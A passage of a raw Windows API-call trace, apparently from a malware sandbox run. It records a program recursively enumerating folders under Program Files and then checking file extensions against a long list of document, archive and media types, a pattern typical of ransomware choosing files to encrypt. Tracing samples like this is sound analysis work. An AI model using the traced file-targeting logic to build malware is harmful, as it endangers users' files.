ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.514] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x803feff7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bf1d2d9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bf1d2d9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1 [0054.514] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0054.514] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f13168 | out: hHeap=0x5a0000) returned 1 [0054.514] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d79cd4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa9d79cd4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa9d9fe34, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x62000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0054.515] FindClose (in: hFindFile=0x3f02388 | out: hFindFile=0x3f02388) returned 1 [0054.515] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3ef1060 | out: hHeap=0x5a0000) returned 1 [0054.515] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0054.515] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02388 [0054.517] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.517] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1efbd239, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x1efbd239, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5ce0c4ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0054.518] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0054.518] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803d8e97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803d8e97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.518] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2273aeba, ftCreationTime.dwHighDateTime=0x1ca03fc, ftLastAccessTime.dwLowDateTime=0x2273aeba, ftLastAccessTime.dwHighDateTime=0x1ca03fc, ftLastWriteTime.dwLowDateTime=0x5d093be9, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x5ec3, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0054.518] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0054.518] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f13168 | out: hHeap=0x5a0000) returned 1 [0054.518] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8f094 | out: lpFindFileData=0x3a8f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad69ad3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xad69ad3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xad69ad3d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0054.519] FindClose (in: hFindFile=0x3f02388 | out: hFindFile=0x3f02388) returned 1 [0054.520] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3ef1060 | out: hHeap=0x5a0000) returned 1 [0054.520] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x3a8f310 | out: lpFindFileData=0x3a8f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x96e4e65d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x96e4e65d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0054.520] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0054.520] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3fa9e40 | out: hHeap=0x5a0000) returned 1 [0054.520] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Framework", cAlternateFileName="FRAMEW~1")) returned 0 [0054.520] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0054.520] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36d0748 | out: hHeap=0x5a0000) returned 1 [0054.520] FindNextFileW (in: hFindFile=0x3f021c8, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 0 [0054.520] FindClose (in: hFindFile=0x3f021c8 | out: hFindFile=0x3f021c8) returned 1 [0054.520] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36a0730 | out: hHeap=0x5a0000) returned 1 [0054.522] FindNextFileW (in: hFindFile=0x3f02088, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0054.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Uninstall Information\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f021c8 [0054.523] FindNextFileW (in: hFindFile=0x3f021c8, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.523] FindNextFileW (in: hFindFile=0x3f021c8, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x4232b3dd, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x4232b3dd, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x4232b3dd, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0054.523] FindClose (in: hFindFile=0x3f021c8 | out: hFindFile=0x3f021c8) returned 1 [0054.523] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36a0730 | out: hHeap=0x5a0000) returned 1 [0054.523] FindNextFileW (in: hFindFile=0x3f02088, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0054.523] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f021c8 [0054.524] FindNextFileW (in: hFindFile=0x3f021c8, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.524] FindNextFileW (in: hFindFile=0x3f021c8, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0054.524] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Defender\\en-US\\*", lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0054.524] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23376857, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.524] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe494541, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe874c0b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xe494541, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll.mui", cAlternateFileName="")) returned 1 [0054.524] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0054.528] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36d0748 | out: hHeap=0x5a0000) returned 1 [0054.528] FindNextFileW (in: hFindFile=0x3f021c8, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x150a97a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x150a97a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x33b368d0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MpAsDesc.dll", cAlternateFileName="")) returned 1 [0054.529] FindClose (in: hFindFile=0x3f021c8 | out: hFindFile=0x3f021c8) returned 1 [0054.529] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36a0730 | out: hHeap=0x5a0000) returned 1 [0054.529] FindNextFileW (in: hFindFile=0x3f02088, lpFindFileData=0x3a8fa84 | out: lpFindFileData=0x3a8fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Journal", cAlternateFileName="WI0FCF~1")) returned 1 [0054.529] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\*", lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f021c8 [0054.530] FindNextFileW (in: hFindFile=0x3f021c8, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e177d26, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.530] FindNextFileW (in: hFindFile=0x3f021c8, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0054.531] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\*", lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0054.532] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e4268f4, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa35bb41, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e472dd2, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.532] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x0, dwReserved1=0x0, cFileName="JNTFiltr.dll.mui", cAlternateFileName="")) returned 1 [0054.532] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0054.533] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36d0748 | out: hHeap=0x5a0000) returned 1 [0054.533] FindNextFileW (in: hFindFile=0x3f021c8, lpFindFileData=0x3a8f808 | out: lpFindFileData=0x3a8f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c0db86, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x88c0db86, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x29c54b90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xe3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkSeg.dll", cAlternateFileName="")) returned 1 [0054.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\*", lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0054.535] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e472dd2, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa250a38, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e4e551f, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.535] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x3a8f58c | out: lpFindFileData=0x3a8f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5570eaa, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5570eaa, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x46a6d3e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x155e, dwReserved0=0x0, dwReserved1=0x0, cFileName="blank.jtp", cAlternateFileName="")) returned 1 [0054.827] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eaffd21, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x235ff6a0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eaffd21, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.827] FindNextFileW (in: hFindFile=0x3f02388, lpFindFileData=0x3a8ee18 | out: lpFindFileData=0x3a8ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x12f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.css", cAlternateFileName="")) returned 1 [0054.827] lstrcmpiW (lpString1=".1cd", lpString2=".css") returned -1 [0054.827] lstrcmpiW (lpString1=".3ds", lpString2=".css") returned -1 [0054.828] lstrcmpiW (lpString1=".3fr", lpString2=".css") returned -1 [0054.828] lstrcmpiW (lpString1=".3g2", lpString2=".css") returned -1 [0054.828] lstrcmpiW (lpString1=".3gp", lpString2=".css") returned -1 [0054.828] lstrcmpiW (lpString1=".7z", lpString2="css") returned -1 [0054.828] lstrcmpiW (lpString1=".accda", lpString2="ar.css") returned -1 [0054.828] lstrcmpiW (lpString1=".accdb", lpString2="ar.css") returned -1 [0054.828] lstrcmpiW (lpString1=".accdc", lpString2="ar.css") returned -1 [0054.828] lstrcmpiW (lpString1=".accde", lpString2="ar.css") returned -1 [0054.828] lstrcmpiW (lpString1=".accdt", lpString2="ar.css") returned -1 [0054.828] lstrcmpiW (lpString1=".accdw", lpString2="ar.css") returned -1 [0054.828] lstrcmpiW (lpString1=".adb", lpString2=".css") returned -1 [0054.828] lstrcmpiW (lpString1=".adp", lpString2=".css") returned -1 [0054.828] lstrcmpiW (lpString1=".ai", lpString2="css") returned -1 [0054.828] lstrcmpiW (lpString1=".ai3", lpString2=".css") returned -1 [0054.828] lstrcmpiW (lpString1=".ai4", lpString2=".css") returned -1 [0054.828] lstrcmpiW (lpString1=".ai5", lpString2=".css") returned -1 [0054.828] lstrcmpiW (lpString1=".ai6", lpString2=".css") returned -1 [0054.829] lstrcmpiW (lpString1=".ai7", lpString2=".css") returned -1 [0054.829] lstrcmpiW (lpString1=".ai8", lpString2=".css") returned -1 [0054.829] lstrcmpiW (lpString1=".anim", lpString2="r.css") returned -1 [0054.829] lstrcmpiW (lpString1=".arw", lpString2=".css") returned -1 [0054.829] lstrcmpiW (lpString1=".as", lpString2="css") returned -1 [0054.829] lstrcmpiW (lpString1=".asa", lpString2=".css") returned -1 [0054.829] lstrcmpiW (lpString1=".asc", lpString2=".css") returned -1 [0054.829] lstrcmpiW (lpString1=".ascx", lpString2="r.css") returned -1 [0054.829] lstrcmpiW (lpString1=".asm", lpString2=".css") returned -1 [0054.829] lstrcmpiW (lpString1=".asmx", lpString2="r.css") returned -1 [0054.829] lstrcmpiW (lpString1=".asp", lpString2=".css") returned -1 [0054.830] lstrlenW (lpString=".aspx") returned 5 [0054.830] lstrcmpiW (lpString1=".aspx", lpString2="r.css") returned -1 [0054.830] lstrlenW (lpString=".asr") returned 4 [0054.830] lstrcmpiW 